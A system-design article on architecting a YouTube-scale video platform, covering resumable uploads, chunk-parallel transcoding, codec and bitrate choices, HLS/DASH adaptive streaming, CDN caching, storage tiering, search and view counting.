**Description:** A video platform at YouTube scale handles massive upload volumes, transcoding across dozens of resolution/codec combinations, and global delivery to billions of daily viewers. This design covers the upload pipeline, transcoding infrastructure, adaptive streaming delivery, and metadata/discovery systems—focusing on the architectural decisions that enable sub-second playback start times while processing 500+ hours of new video every minute.

# Design a YouTube-Style Video Platform

A video platform at YouTube scale handles massive upload volumes, transcoding across dozens of resolution/codec combinations, and global delivery to billions of daily viewers. This design covers the upload pipeline, transcoding infrastructure, adaptive streaming delivery, and metadata/discovery systems—focusing on the architectural decisions that enable sub-second playback start times while processing 500+ hours of new video every minute.

<figure>

![High-level architecture: upload → transcode → store → deliver. Metadata flows in parallel to enable immediate discoverability while transcoding completes.](./high-level-architecture-upload-transcode-store-deliver-metadata-flows-in-paralle.svg)

<figcaption>High-level architecture: upload → transcode → store → deliver. Metadata flows in parallel to enable immediate discoverability while transcoding completes.</figcaption>
</figure>

## Abstract

A video platform's architecture is shaped by three fundamental constraints:

1. **Video is computationally expensive**: A single 10-minute 4K upload generates 50+ output files (resolutions × codecs × bitrates). Transcoding must parallelize across chunked segments to complete in minutes rather than hours.

2. **Latency tolerance varies by phase**: Uploads tolerate multi-second latencies; playback start must be < 2 seconds. This asymmetry justifies aggressive CDN caching and segment-level prefetching.

3. **Traffic follows extreme power laws**: ~10% of videos receive 90% of views. Hot/warm/cold storage tiering and origin shield caching exploit this distribution.

The core mechanisms:

- **Resumable chunked uploads** (tus protocol) handle unreliable connections and multi-gigabyte files
- **Segment-parallel transcoding** splits videos into 2-second chunks, transcodes in parallel, reassembles
- **Multi-codec encoding** (H.264 for reach, VP9/AV1 for efficiency) optimizes bandwidth vs. compatibility
- **Adaptive Bitrate Streaming** (HLS/DASH) with hybrid ABR algorithms balances quality and rebuffering
- **Origin shield + edge caching** achieves 95%+ cache hit rates, reducing origin egress dramatically

## Requirements

### Functional Requirements

| Requirement                               | Priority     | Notes                                          |
| ----------------------------------------- | ------------ | ---------------------------------------------- |
| Video upload                              | Core         | Resumable, chunked, up to 256GB files          |
| Video playback                            | Core         | Adaptive streaming, multiple quality levels    |
| Transcoding pipeline                      | Core         | Multi-resolution, multi-codec output           |
| Video metadata (title, description, tags) | Core         | Editable, searchable                           |
| Video search                              | Core         | Full-text + filters (duration, date, category) |
| Thumbnails (auto-generated + custom)      | Core         | Multiple sizes for different contexts          |
| View counting                             | Core         | Near real-time, deduplicated                   |
| Comments and engagement                   | Extended     | Threaded, moderation                           |
| Recommendations                           | Extended     | Personalized, contextual                       |
| Live streaming                            | Out of scope | Different latency requirements                 |
| Monetization/Ads                          | Out of scope | Separate ad-tech stack                         |

### Non-Functional Requirements

| Requirement            | Target                                  | Rationale                          |
| ---------------------- | --------------------------------------- | ---------------------------------- |
| Upload availability    | 99.9%                                   | Tolerate brief maintenance windows |
| Playback availability  | 99.99%                                  | Revenue-critical, user experience  |
| Upload processing time | < 2× video duration                     | User expectation for availability  |
| Playback start latency | p99 < 2s                                | Industry benchmark for abandonment |
| Rebuffering ratio      | < 0.5% of playback time                 | Quality threshold                  |
| Video quality          | VMAF > 93 at target bitrate             | Perceptual quality standard        |
| Storage efficiency     | 30% bandwidth savings via modern codecs | Cost optimization                  |

### Scale Estimation

**YouTube-scale baseline:**

```
Daily active users: 2.5 billion
Hours uploaded per minute: 500+
Daily video views: 5 billion

Upload traffic:
- 500 hours/min × 60 min × 24 hours = 720,000 hours/day
- Average raw file: 2 GB/hour (1080p)
- Daily upload ingestion: ~1.4 PB/day

Storage growth:
- Per video: 50 output files (resolutions × codecs)
- Storage multiplier: ~5x original (transcoded variants)
- Daily storage growth: ~7 PB/day
- Annual growth: ~2.5 EB/year

Playback traffic:
- 5 billion views/day
- Average view duration: 10 minutes
- Average bitrate: 4 Mbps (mixed quality)
- Peak concurrent viewers: 500M (estimate)
- Daily egress: ~150 PB/day
```

**CDN efficiency impact:**

```
Without CDN: 150 PB/day from origin
With 95% cache hit rate: 7.5 PB/day from origin
Cost reduction: 20x origin egress savings
```

## Design Paths

### Path A: Centralized Transcoding (Traditional)

**Best when:**

- Smaller scale (< 10K uploads/day)
- Predictable traffic patterns
- Cost-sensitive (avoid distributed infrastructure)

**Architecture:**

- Single transcoding cluster per region
- Queue-based job scheduling
- Linear processing (full video at once)

**Trade-offs:**

- ✅ Simpler operations
- ✅ Lower infrastructure cost at small scale
- ❌ Transcoding time = video duration × quality ladder size
- ❌ Single failure domain per region
- ❌ Cannot scale transcoding speed for viral uploads

**Real-world example:** Vimeo (pre-2020) used centralized transcoding. Acceptable for professional content with predictable upload patterns.

### Path B: Distributed Chunk-Based Transcoding (YouTube/Netflix Model)

**Best when:**

- Massive scale (millions of uploads/day)
- Need fast turnaround for time-sensitive content
- Global upload sources require regional processing

**Architecture:**

- Videos split into 2-second chunks
- Chunks transcoded in parallel across distributed workers
- Reassembled into final output streams
- Custom hardware (ASICs) for encoding efficiency

**Trade-offs:**

- ✅ Transcoding time independent of video length (parallelized)
- ✅ Elastic scaling for traffic spikes
- ✅ Fault isolation (failed chunk retries, not full video)
- ❌ Complex orchestration layer
- ❌ Chunk boundary artifacts require careful handling
- ❌ Higher infrastructure complexity

**Real-world example:** YouTube's Video Coding Unit (VCU) ASIC achieves 20-33x efficiency over software encoding. Netflix processes 250,000 jobs per 30-minute episode.

### Path Comparison

| Factor                 | Centralized                | Distributed Chunk-Based   |
| ---------------------- | -------------------------- | ------------------------- |
| Processing latency     | O(video duration)          | O(1) with enough workers  |
| Scalability            | Vertical (bigger machines) | Horizontal (more workers) |
| Failure blast radius   | Full video re-encode       | Single chunk retry        |
| Infrastructure cost    | Lower at small scale       | Lower at large scale      |
| Operational complexity | Simple                     | High                      |
| Best for               | < 10K uploads/day          | > 100K uploads/day        |

### This Article's Focus

This article focuses on **Path B (Distributed Chunk-Based)** because:

1. YouTube-scale requires parallelization to meet processing SLAs
2. The chunking approach enables interesting optimizations (per-shot quality, scene detection)
3. Modern ABR streaming (HLS/DASH) is segment-native, aligning with chunk-based encoding

## High-Level Design

### Component Overview

<figure>

![System components: upload flow (top-left), processing (center), storage (bottom-left), discovery (center-right), delivery (right).](./system-components-upload-flow-top-left-processing-center-storage-bottom-left-dis.svg)

<figcaption>System components: upload flow (top-left), processing (center), storage (bottom-left), discovery (center-right), delivery (right).</figcaption>
</figure>

### Upload Flow

1. **Client initiates resumable upload** → receives upload URI and session token
2. **Client uploads in chunks** (5MB default) → server tracks received ranges
3. **On completion**: validate checksum, store original, queue for processing
4. **Metadata extracted** (duration, resolution, codec) and stored immediately
5. **Video becomes searchable** before transcoding completes (thumbnail + metadata)

### Processing Flow

1. **Segmentation**: Split video into 2-second GOP-aligned chunks
2. **Analysis**: Scene detection, shot boundaries, content classification
3. **Parallel encoding**: Each chunk transcoded to all target formats
4. **Quality validation**: VMAF score per segment, re-encode if below threshold
5. **Assembly**: Concatenate chunks into continuous streams
6. **Manifest generation**: Create HLS/DASH manifests pointing to segments

### Playback Flow

1. **Client requests manifest** → CDN serves cached or origin-fetched manifest
2. **ABR algorithm selects initial quality** based on estimated bandwidth
3. **Segments fetched from nearest edge** → playback begins
4. **Continuous adaptation**: Quality switches based on buffer level and throughput
5. **Metrics collected**: Startup time, rebuffering events, quality switches

## Video Upload Service

### Resumable Upload Protocol

The tus protocol provides HTTP-based resumable uploads, critical for large files over unreliable networks.

**Protocol flow:**

<figure>

![Resumable upload: client queries offset after disconnection, resumes from last confirmed position.](./resumable-upload-client-queries-offset-after-disconnection-resumes-from-last-con.svg)

<figcaption>Resumable upload: client queries offset after disconnection, resumes from last confirmed position.</figcaption>
</figure>

**Key protocol headers:**

| Header            | Purpose                                                 |
| ----------------- | ------------------------------------------------------- |
| `Upload-Length`   | Total file size (optional for streaming)                |
| `Upload-Offset`   | Byte position for this chunk                            |
| `Tus-Resumable`   | Protocol version (1.0.0)                                |
| `Upload-Metadata` | Base64-encoded key-value pairs (filename, content-type) |

**Chunk size considerations:**

| Chunk Size     | Pros                | Cons                             |
| -------------- | ------------------- | -------------------------------- |
| 1 MB           | Fine-grained resume | Higher overhead (more requests)  |
| 5 MB (default) | Balanced            | Good for most networks           |
| 25 MB          | Lower overhead      | Larger retransmission on failure |

### Upload Processing Pipeline

![Diagram](./diagram-1.svg)

**Validation checks:**

- File format: Supported containers (MP4, MOV, MKV, WebM, AVI)
- Duration: Maximum 12 hours (configurable per channel)
- Resolution: Up to 8K (7680×4320)
- File size: Up to 256 GB
- Audio tracks: Maximum 8 tracks

### Thumbnail Generation

**Automated thumbnails:**

1. Extract frames at 25%, 50%, 75% of duration
2. Run scene detection, select visually distinct frames
3. Apply quality scoring (sharpness, face detection, composition)
4. Generate sprite sheet for scrubbing preview (every 10 seconds)

**Output formats:**

| Use Case       | Dimensions      | Format    |
| -------------- | --------------- | --------- |
| Search results | 320×180         | WebP/JPEG |
| Watch page     | 640×360         | WebP/JPEG |
| Large player   | 1280×720        | WebP/JPEG |
| Scrub preview  | 160×90 (sprite) | WebP      |

## Transcoding Pipeline

### Encoding Architecture

<figure>

![Transcoding pipeline: demux → analyze → encode (multi-codec × multi-resolution) → package for streaming.](./transcoding-pipeline-demux-analyze-encode-multi-codec-multi-resolution-package-f.svg)

<figcaption>Transcoding pipeline: demux → analyze → encode (multi-codec × multi-resolution) → package for streaming.</figcaption>
</figure>

### Codec Selection

| Codec            | Compression vs H.264 | Browser Support                   | Encode Complexity | Use Case           |
| ---------------- | -------------------- | --------------------------------- | ----------------- | ------------------ |
| **H.264 (AVC)**  | Baseline             | Universal                         | 1x                | Default fallback   |
| **H.265 (HEVC)** | 50% better           | Safari, iOS, some Android         | 2-4x              | Apple ecosystem    |
| **VP9**          | 50% better           | Chrome, Firefox, Edge, Android    | 2-3x              | YouTube default    |
| **AV1**          | 30-50% vs VP9        | Chrome, Firefox, Edge, Safari 17+ | 5-10x             | Bandwidth-critical |

**Encoding strategy:**

1. **Always encode H.264**: Universal fallback for all devices
2. **Default to VP9**: Primary codec for modern browsers (Chrome 80%+ market share)
3. **AV1 for popular content**: Encode after 1000+ views (amortize high encode cost)
4. **HEVC for Apple devices**: Safari/iOS don't support VP9

### Bitrate Ladder

**Per-title encoding** optimizes bitrate per content type. Action films need higher bitrates than static presentations.

**Standard ladder (VP9):**

| Resolution | Bitrate Range | FPS   | Notes                  |
| ---------- | ------------- | ----- | ---------------------- |
| 4K (2160p) | 12-20 Mbps    | 30/60 | High motion: 20 Mbps   |
| 1440p      | 6-10 Mbps     | 30/60 | Gaming content default |
| 1080p      | 3-6 Mbps      | 30/60 | Most common            |
| 720p       | 1.5-3 Mbps    | 30    | Mobile default         |
| 480p       | 0.5-1 Mbps    | 30    | Bandwidth constrained  |
| 360p       | 0.3-0.5 Mbps  | 30    | Minimum viable         |
| 240p       | 0.15-0.3 Mbps | 30    | Extreme constraints    |
| 144p       | 0.05-0.1 Mbps | 30    | Audio-focused content  |

**Per-title optimization:**

```
Standard approach: Fixed bitrate ladder (same for all videos)
Per-title approach: Analyze content complexity, adjust bitrates

Example - Documentary vs Action Movie at 1080p:
- Documentary (low motion): 2.5 Mbps achieves VMAF 95
- Action movie (high motion): 5 Mbps needed for VMAF 95

Result: 50% bandwidth savings on documentaries without quality loss
```

Netflix reported 20% average bandwidth savings from per-title encoding, with some titles achieving 50%+ reductions.

### Chunk-Based Parallel Encoding

**Segmentation strategy:**

1. **GOP alignment**: Split at keyframe boundaries (every 2-4 seconds)
2. **Scene boundaries**: Prefer splits at scene changes
3. **Uniform chunks**: Maintain consistent segment duration for ABR

**Parallel encoding flow:**

```
Input: 10-minute video (300 seconds)
Chunk duration: 2 seconds
Total chunks: 150

Without parallelization:
- Encode time per codec/resolution: ~video duration
- Total variants: 8 resolutions × 3 codecs = 24
- Serial time: 24 × 10 min = 240 minutes (4 hours)

With parallelization (150 workers):
- Each worker encodes 1 chunk × 24 variants
- Per-chunk encode time: ~2 seconds × 24 = 48 seconds
- Total time: 48 seconds + assembly overhead
- Speedup: ~300x
```

**Boundary handling:**

Chunks must overlap slightly to prevent artifacts at boundaries:

- Include 1-2 frames of context from adjacent chunks
- Trim overlap during assembly
- Validate continuous motion across boundaries

### Quality Control

**VMAF (Video Multimethod Assessment Fusion):**

Netflix's open-source perceptual quality metric, correlating strongly with human perception.

| VMAF Score | Quality Level      |
| ---------- | ------------------ |
| 93+        | Excellent (target) |
| 85-93      | Good               |
| 70-85      | Fair               |
| < 70       | Poor (re-encode)   |

**QC pipeline:**

1. Compute VMAF score per segment (source vs. encoded)
2. Flag segments below threshold (< 93)
3. Re-encode flagged segments at higher bitrate
4. Iterate until quality target met or max bitrate reached

## Adaptive Bitrate Streaming

### HLS vs DASH

| Feature                 | HLS                          | DASH                   |
| ----------------------- | ---------------------------- | ---------------------- |
| **Standard body**       | Apple proprietary (RFC 8216) | ISO/IEC 23009-1        |
| **Manifest format**     | M3U8 (text playlist)         | MPD (XML)              |
| **Segment format**      | TS or fMP4                   | fMP4, WebM             |
| **Apple support**       | Full                         | Not supported (Safari) |
| **DRM**                 | FairPlay                     | Widevine, PlayReady    |
| **Low-latency variant** | LL-HLS (2-5s)                | LL-DASH (2-5s)         |

**YouTube's approach:** DASH for most browsers, HLS for Safari/iOS. Manifest generator outputs both formats from same encoded segments (CMAF).

### Manifest Structure

**HLS Multivariant Playlist:**

```m3u8
#EXTM3U
#EXT-X-VERSION:7
#EXT-X-INDEPENDENT-SEGMENTS

#EXT-X-STREAM-INF:BANDWIDTH=5000000,RESOLUTION=1920x1080,CODECS="avc1.640028,mp4a.40.2"
1080p/playlist.m3u8

#EXT-X-STREAM-INF:BANDWIDTH=2500000,RESOLUTION=1280x720,CODECS="avc1.64001f,mp4a.40.2"
720p/playlist.m3u8

#EXT-X-STREAM-INF:BANDWIDTH=1000000,RESOLUTION=854x480,CODECS="avc1.64001e,mp4a.40.2"
480p/playlist.m3u8
```

**Media Playlist (per quality):**

```m3u8
#EXTM3U
#EXT-X-VERSION:7
#EXT-X-TARGETDURATION:4
#EXT-X-MEDIA-SEQUENCE:0

#EXTINF:4.000,
segment_0001.m4s
#EXTINF:4.000,
segment_0002.m4s
#EXTINF:4.000,
segment_0003.m4s
#EXT-X-ENDLIST
```

### ABR Algorithm

**Three algorithm families:**

1. **Throughput-based**: Select bitrate based on measured download speed

   ```
   estimated_bandwidth = bytes_downloaded / download_time
   safe_bitrate = estimated_bandwidth × 0.7 (safety margin)
   select: highest quality where bitrate < safe_bitrate
   ```

2. **Buffer-based (BOLA)**: Select based on buffer occupancy

   ```
   if buffer > 30s: select highest quality
   if buffer < 10s: select lowest quality
   linear interpolation between thresholds
   ```

3. **Hybrid (industry standard)**: Combine throughput + buffer

   ```
   throughput_bitrate = estimate from recent segments
   buffer_factor = buffer_level / target_buffer (0.0 to 1.0)
   selected_bitrate = throughput_bitrate × buffer_factor
   ```

**Startup behavior:**

1. Start at conservative quality (720p or lower)
2. Prefetch multiple segments before playback
3. Ramp up quality as buffer builds

**Quality switch constraints:**

- Minimum dwell time: 10 seconds at current quality
- Maximum quality drop: 2 levels per switch (prevent oscillation)
- Buffer emergency threshold: Drop to lowest immediately if < 5 seconds

### Segment Duration Trade-offs

| Duration   | Pros                               | Cons                           |
| ---------- | ---------------------------------- | ------------------------------ |
| 2 seconds  | Lower latency, faster adaptation   | More requests, higher overhead |
| 4 seconds  | Balanced                           | Standard choice                |
| 6 seconds  | Fewer requests, better compression | Slower adaptation              |
| 10 seconds | Best compression efficiency        | Too slow for ABR               |

YouTube uses 2-4 second segments; Netflix uses 4-6 seconds. Lower durations improve responsiveness but increase CDN request volume.

## CDN and Delivery

### Multi-Tier Caching Architecture

<figure>

![Three-tier caching: edge (95% hit rate), shield (99% cumulative), origin (handles 1% of requests).](./three-tier-caching-edge-95-hit-rate-shield-99-cumulative-origin-handles-1-of-req.svg)

<figcaption>Three-tier caching: edge (95% hit rate), shield (99% cumulative), origin (handles 1% of requests).</figcaption>
</figure>

**Cache hit rate targets:**

| Tier          | Hit Rate     | Purpose                              |
| ------------- | ------------ | ------------------------------------ |
| Edge          | 90-95%       | Serve most requests from nearest PoP |
| Origin Shield | 95-99%       | Catch edge misses, protect origin    |
| Origin        | ~1% requests | Serve long-tail content              |

### Origin Shield Benefits

**Without origin shield:**

```
100 edge PoPs × 10% miss rate = 10% of total traffic to origin per PoP
If 1000 concurrent requests per PoP for same video:
  100 × 100 = 10,000 origin requests
```

**With origin shield:**

```
100 edge PoPs → 5 shield regions → 1 origin
Shield consolidates: 10,000 potential requests → 5 requests (one per shield)
Origin load reduction: 2000x
```

AWS reports 95% origin egress reduction with CloudFront Origin Shield for video workloads.

### Cache Key Design

**Optimal cache key structure:**

```
/{video_id}/{quality}/{codec}/{segment_number}.m4s

Example: /abc123/1080p/vp9/segment_0042.m4s
```

**What to exclude from cache key:**

- Session tokens
- User-specific parameters
- Timestamp-based cache busters (use segment number instead)
- Analytics parameters

**Multi-CDN consistency:**

When using multiple CDN providers, normalize cache keys:

- Same path structure across all CDNs
- Consistent query parameter handling (strip or include)
- Standardized Cache-Control headers

### Multi-CDN Strategy

**Routing decision factors:**

| Factor               | Implementation                          |
| -------------------- | --------------------------------------- |
| Geographic proximity | DNS-based geo routing                   |
| CDN availability     | Health checks, automatic failover       |
| Cost optimization    | Route to cheapest CDN per region        |
| Performance          | Real-user metrics, synthetic monitoring |

**Failover architecture:**

![Diagram](./diagram-2.svg)

## Video Storage

### Storage Tiering

| Tier        | Access Pattern             | Storage Type   | Cost | Latency   |
| ----------- | -------------------------- | -------------- | ---- | --------- |
| **Hot**     | Recent uploads, trending   | SSD/NVMe       | $$$  | < 10ms    |
| **Warm**    | Moderate views (1-100/day) | HDD            | $$   | 50-100ms  |
| **Cold**    | Long-tail (< 1 view/day)   | Object storage | $    | 100-500ms |
| **Archive** | Original raw files         | Glacier-class  | ¢    | Hours     |

**Lifecycle policy:**

```
Upload: → Hot tier (30 days)
        → Warm tier (views > 10/day) OR Cold tier
        → Archive (raw originals after 90 days)
        → Delete cold if views = 0 for 365 days
```

### Storage Scale Estimation

**Per-video storage:**

```
Input: 10-minute 1080p video (original: 500 MB)

Transcoded outputs:
- 8 resolutions × 3 codecs × average segment count
- Plus: thumbnails, sprite sheets, manifests

Typical expansion:
- H.264 variants: 800 MB
- VP9 variants: 500 MB
- AV1 variants: 400 MB (if encoded)
- Thumbnails/metadata: 10 MB

Total: ~1.7 GB (3.4x original)
With original retention: ~2.2 GB (4.4x)
```

**Fleet sizing for 1 EB storage:**

```
1 EB = 1,000 PB = 1,000,000 TB

Using 18 TB HDDs:
- Raw capacity needed: 1,000,000 TB
- With replication (3x): 3,000,000 TB
- Drives needed: 166,667 drives
- Drives per server (12): 13,889 servers
```

### Replication Strategy

**Multi-region replication:**

| Content Type  | Replication         | Rationale                |
| ------------- | ------------------- | ------------------------ |
| Hot (popular) | 3 regions           | Low latency globally     |
| Warm          | 2 regions           | Cost vs. latency balance |
| Cold          | 1 region + archive  | Cost optimization        |
| Original      | 2 regions + archive | Disaster recovery        |

## Metadata and Search

### Video Metadata Schema

```sql
-- Core video record
CREATE TABLE videos (
    video_id UUID PRIMARY KEY,
    channel_id UUID NOT NULL REFERENCES channels(id),
    title VARCHAR(100) NOT NULL,
    description TEXT,
    duration_seconds INTEGER NOT NULL,
    upload_timestamp TIMESTAMPTZ NOT NULL,
    publish_timestamp TIMESTAMPTZ,

    -- Processing state
    status VARCHAR(20) NOT NULL DEFAULT 'processing',
    -- processing, ready, failed, deleted

    -- Computed metrics (denormalized)
    view_count BIGINT DEFAULT 0,
    like_count BIGINT DEFAULT 0,
    comment_count INTEGER DEFAULT 0,

    -- Content signals
    category_id INTEGER,
    language VARCHAR(10),
    age_restricted BOOLEAN DEFAULT false,

    -- Indexes
    CONSTRAINT valid_status CHECK (status IN ('processing', 'ready', 'failed', 'deleted'))
);

CREATE INDEX idx_videos_channel ON videos(channel_id, publish_timestamp DESC);
CREATE INDEX idx_videos_category ON videos(category_id, publish_timestamp DESC);
CREATE INDEX idx_videos_trending ON videos(view_count DESC)
    WHERE status = 'ready' AND publish_timestamp > NOW() - INTERVAL '7 days';
```

### Search Index Design

**Elasticsearch mapping:**

```json
{
  "mappings": {
    "properties": {
      "video_id": { "type": "keyword" },
      "title": {
        "type": "text",
        "analyzer": "standard",
        "fields": {
          "exact": { "type": "keyword" },
          "autocomplete": { "type": "search_as_you_type" }
        }
      },
      "description": { "type": "text" },
      "channel_name": {
        "type": "text",
        "fields": { "exact": { "type": "keyword" } }
      },
      "tags": { "type": "keyword" },
      "category": { "type": "keyword" },
      "duration_seconds": { "type": "integer" },
      "view_count": { "type": "long" },
      "publish_date": { "type": "date" },
      "language": { "type": "keyword" },

      "transcript": {
        "type": "text",
        "analyzer": "standard"
      }
    }
  }
}
```

**Search query example:**

```json
{
  "query": {
    "bool": {
      "must": [
        {
          "multi_match": {
            "query": "kubernetes tutorial",
            "fields": ["title^3", "description", "tags^2", "transcript"]
          }
        }
      ],
      "filter": [{ "term": { "language": "en" } }, { "range": { "duration_seconds": { "gte": 300, "lte": 1800 } } }]
    }
  },
  "sort": [{ "_score": "desc" }, { "view_count": "desc" }]
}
```

### View Count System

**Challenge:** Accurate, near-real-time view counting at billions of views/day while preventing fraud.

**Architecture:**

![Diagram](./diagram-3.svg)

**Deduplication strategy:**

- Bloom filter per video_id (1-hour window)
- Key: hash(video_id + user_id + IP + user_agent)
- False positive rate: 1% (acceptable, slightly undercounts)

**Fraud signals:**

- View duration < 30 seconds: Don't count
- Same IP, many views, short intervals: Rate limit
- Suspicious patterns: ML-based fraud detection

## Recommendation System

### Overview

Recommendations drive 70%+ of YouTube watch time. The system balances:

1. **Relevance**: Content similar to current video
2. **Personalization**: User's historical preferences
3. **Exploration**: Expose users to new content
4. **Freshness**: Boost recent uploads

### Recommendation Architecture

<figure>

![Two-stage recommendation: retrieve candidates from embedding index, rank with full model.](./two-stage-recommendation-retrieve-candidates-from-embedding-index-rank-with-full.svg)

<figcaption>Two-stage recommendation: retrieve candidates from embedding index, rank with full model.</figcaption>
</figure>

### Signal Types

| Signal             | Source                  | Weight     |
| ------------------ | ----------------------- | ---------- |
| Watch time         | Playback events         | High       |
| Likes/dislikes     | Explicit feedback       | High       |
| Comments           | Engagement              | Medium     |
| Shares             | Social signals          | Medium     |
| Search history     | Intent signals          | Medium     |
| Subscriptions      | Long-term preference    | Medium     |
| Video co-watch     | Collaborative filtering | Medium     |
| Content similarity | Video embeddings        | Low-Medium |

## Frontend Considerations

### Video Player Architecture

**Core responsibilities:**

1. **Manifest parsing**: HLS/DASH support
2. **ABR algorithm**: Quality selection logic
3. **Buffer management**: Segment prefetching
4. **Codec negotiation**: Select supported codec/container
5. **DRM handling**: License acquisition, key rotation
6. **Metrics collection**: QoE telemetry

**Buffer strategy:**

```
Target buffer: 30 seconds
Minimum for playback start: 5 seconds
Low watermark (quality down): 10 seconds
High watermark (quality up): 25 seconds
Maximum (cap prefetch): 60 seconds
```

### Playback Start Optimization

**Time-to-first-byte targets:**

| Phase          | Target   | Optimization                     |
| -------------- | -------- | -------------------------------- |
| DNS resolution | < 50ms   | DNS prefetch                     |
| TLS handshake  | < 100ms  | TLS 1.3, session resumption      |
| Manifest fetch | < 200ms  | CDN edge cache                   |
| First segment  | < 500ms  | Preload hint, small init segment |
| Total startup  | < 2000ms | End-to-end target                |

**Preload strategies:**

```html
<!-- DNS prefetch for CDN -->
<link rel="dns-prefetch" href="//cdn.example.com" />

<!-- Preconnect to establish TLS -->
<link rel="preconnect" href="https://cdn.example.com" />

<!-- Preload manifest -->
<link rel="preload" href="/video/abc/manifest.m3u8" as="fetch" />
```

### Mobile Considerations

| Constraint              | Mitigation                          |
| ----------------------- | ----------------------------------- |
| Battery drain           | Prefer hardware decode (H.264/HEVC) |
| Data usage              | Default to 480p on cellular         |
| Memory limits           | Limit buffer to 30 seconds          |
| Background restrictions | Pause prefetch when backgrounded    |
| Network variability     | More conservative ABR               |

## Infrastructure Design

### Cloud-Agnostic Components

| Component           | Purpose              | Options                                |
| ------------------- | -------------------- | -------------------------------------- |
| Object storage      | Raw + encoded videos | S3, GCS, Azure Blob, MinIO             |
| Transcoding compute | Encoding workers     | VMs, Containers, GPU instances         |
| CDN                 | Global delivery      | CloudFront, Fastly, Akamai, Cloudflare |
| Message queue       | Job scheduling       | Kafka, SQS, Pub/Sub, RabbitMQ          |
| Metadata DB         | Video records        | PostgreSQL, MySQL, CockroachDB         |
| Search              | Discovery            | Elasticsearch, OpenSearch, Meilisearch |
| Cache               | Hot metadata         | Redis, Memcached                       |
| Metrics             | Telemetry            | Prometheus, InfluxDB, Datadog          |

### AWS Reference Architecture

<figure>

![AWS deployment: S3 for storage, MediaConvert or Batch for transcoding, CloudFront with Origin Shield for delivery.](./aws-deployment-s3-for-storage-mediaconvert-or-batch-for-transcoding-cloudfront-w.svg)

<figcaption>AWS deployment: S3 for storage, MediaConvert or Batch for transcoding, CloudFront with Origin Shield for delivery.</figcaption>
</figure>

**Service selection:**

| Service           | Use Case            | Why                              |
| ----------------- | ------------------- | -------------------------------- |
| S3 + S3 Glacier   | Video storage       | Tiered cost, 11 nines durability |
| MediaConvert      | Managed transcoding | No infrastructure management     |
| AWS Batch + GPU   | Custom transcoding  | Full control, custom codecs      |
| CloudFront        | CDN                 | Origin Shield, Lambda@Edge       |
| RDS PostgreSQL    | Metadata            | Managed, Multi-AZ                |
| OpenSearch        | Search              | Managed Elasticsearch            |
| ElastiCache Redis | Caching             | Sub-ms latency                   |

### Self-Hosted Alternative

| Managed Service | Self-Hosted             | When to Self-Host               |
| --------------- | ----------------------- | ------------------------------- |
| MediaConvert    | FFmpeg + custom workers | Custom codecs, cost at scale    |
| CloudFront      | Nginx + Varnish         | Multi-CDN, specific routing     |
| OpenSearch      | Elasticsearch           | Plugin requirements             |
| ElastiCache     | Redis OSS               | Redis modules, specific configs |

## Conclusion

Designing a YouTube-scale video platform requires optimizing for fundamentally different access patterns across the pipeline:

**Key architectural decisions:**

1. **Resumable chunked uploads** handle multi-GB files over unreliable networks
2. **Segment-parallel transcoding** achieves O(1) processing time regardless of video length
3. **Multi-codec strategy** (H.264 + VP9 + selective AV1) balances reach and bandwidth efficiency
4. **Per-title encoding** saves 20-50% bandwidth by adapting bitrate ladders to content complexity
5. **Origin shield caching** reduces origin egress by 95%+, critical for cost and scale
6. **Hybrid ABR algorithms** balance quality maximization with rebuffering prevention

**What this design optimizes for:**

- Fast upload processing (minutes, not hours)
- Sub-2-second playback start
- Minimal rebuffering (< 0.5% of playback time)
- Efficient bandwidth usage (modern codecs for capable devices)

**What this design sacrifices:**

- Low-latency live streaming (different architecture needed)
- Simple operations (distributed transcoding adds complexity)
- Storage efficiency vs. compatibility (multiple codec variants)

**When to choose this design:**

- User-generated video platforms at scale
- VOD streaming services
- Any system where upload volume justifies parallel transcoding

## Appendix

### Prerequisites

- Video encoding concepts: codecs, containers, bitrate
- Streaming protocols: HLS, DASH fundamentals
- CDN architecture: edge caching, origin shield
- Distributed systems: message queues, eventual consistency

### Terminology

| Term                   | Definition                                                                       |
| ---------------------- | -------------------------------------------------------------------------------- |
| **ABR**                | Adaptive Bitrate—dynamically selecting video quality based on network conditions |
| **GOP**                | Group of Pictures—sequence of frames starting with a keyframe                    |
| **HLS**                | HTTP Live Streaming—Apple's adaptive streaming protocol                          |
| **DASH**               | Dynamic Adaptive Streaming over HTTP—ISO standard streaming protocol             |
| **VMAF**               | Video Multimethod Assessment Fusion—perceptual quality metric                    |
| **Transcoding**        | Converting video from one format/resolution/codec to another                     |
| **Manifest**           | Playlist file describing available streams and segments (M3U8 or MPD)            |
| **Segment**            | Chunk of video (typically 2-6 seconds) for ABR streaming                         |
| **Origin shield**      | Intermediate cache layer protecting origin from edge cache misses                |
| **Bitrate ladder**     | Set of quality levels (resolution + bitrate combinations)                        |
| **Per-title encoding** | Customizing bitrate ladder based on content complexity                           |
| **VCU**                | Video Coding Unit—custom ASIC for hardware-accelerated encoding                  |

### Summary

- Video platforms require three distinct subsystems: upload/processing, storage/delivery, metadata/discovery
- Chunk-based parallel transcoding enables processing speed independent of video duration
- Multi-codec encoding (H.264 + VP9 + AV1) trades storage for bandwidth efficiency
- Origin shield + edge caching achieves 95%+ cache hit rates, reducing origin load 20x+
- Hybrid ABR algorithms (throughput + buffer) provide best quality-of-experience
- Per-title encoding saves 20-50% bandwidth by adapting to content complexity
- Hot/warm/cold storage tiering exploits power-law view distribution

### References

- [YouTube Video Processing Architecture](https://sderay.com/youtube-video-processing-architecture-how-video-goes-from-upload-to-play/) - Upload and transcoding pipeline
- [Reimagining video infrastructure (YouTube Blog)](https://blog.youtube/inside-youtube/new-era-video-infrastructure/) - VCU custom silicon
- [Rebuilding Netflix Video Processing Pipeline](https://netflixtechblog.com/rebuilding-netflix-video-processing-pipeline-with-microservices-4e5e6310e359) - Microservices transcoding architecture
- [High Quality Video Encoding at Scale (Netflix)](https://netflixtechblog.com/high-quality-video-encoding-at-scale-d159db052746) - Per-title encoding
- [tus - Resumable Upload Protocol](https://tus.io/protocols/resumable-upload) - Upload protocol specification
- [HLS Specification (RFC 8216)](https://www.rfc-editor.org/rfc/rfc8216) - HTTP Live Streaming standard
- [DASH Specification (ISO/IEC 23009-1)](https://www.iso.org/standard/79329.html) - MPEG-DASH standard
- [Amazon CloudFront Origin Shield](https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/origin-shield.html) - CDN architecture
- [Google Media CDN Overview](https://docs.cloud.google.com/media-cdn/docs/overview) - CDN caching behavior
- [VMAF - Perceptual Quality Metrics](https://github.com/Netflix/vmaf) - Netflix's quality metric
